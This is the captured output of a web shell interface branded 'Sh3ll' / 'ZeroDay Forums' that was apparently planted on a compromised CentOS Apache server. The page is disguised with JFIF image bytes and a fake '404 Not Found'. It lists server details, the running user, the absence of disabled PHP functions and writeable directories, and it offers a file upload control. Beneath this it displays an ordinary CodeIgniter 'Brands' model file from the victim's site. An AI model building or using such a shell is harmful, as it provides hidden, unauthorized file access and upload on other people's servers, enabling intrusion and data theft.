����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/models/Brands.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Brands extends CI_Model {
	public function __construct()
	{
		parent::__construct();
	}
	//customer List
	public function brand_list()
	{
		$this->db->select('*');
		$this->db->from('brand');
		$this->db->order_by('brand_name','asc');
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	//brand Search Item
	public function brand_search_item($brand_id)
	{
		$this->db->select('*');
		$this->db->from('brand');
		$this->db->where('brand_id',$brand_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	//Count customer
	public function brand_entry($data)
	{
		$this->db->select('*');
		$this->db->from('brand');
		$this->db->where('status',1);
		$this->db->where('brand_name',$data['brand_name']);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return FALSE;
		}else{
			$this->db->insert('brand',$data);
			return TRUE;
		}
	}
	//Retrieve customer Edit Data
	public function retrieve_brand_editdata($brand_id)
	{
		$this->db->select('*');
		$this->db->from('brand');
		$this->db->where('brand_id',$brand_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0) {
			return $query->result_array();	
		}
		return false;
	}
	
	//Update Brands
	public function update_brand($data,$brand_id)
	{
		$this->db->where('brand_id',$brand_id);
		$result = $this->db->update('brand',$data);

		if ($result) {
			return true;
		}
		return false;
	}
	// Delete Brand Item
	public function delete_brand($brand_id)
	{
		$this->db->where('brand_id',$brand_id);
		$this->db->delete('brand'); 	
		return true;
	}
}

ZeroDay Forums Mini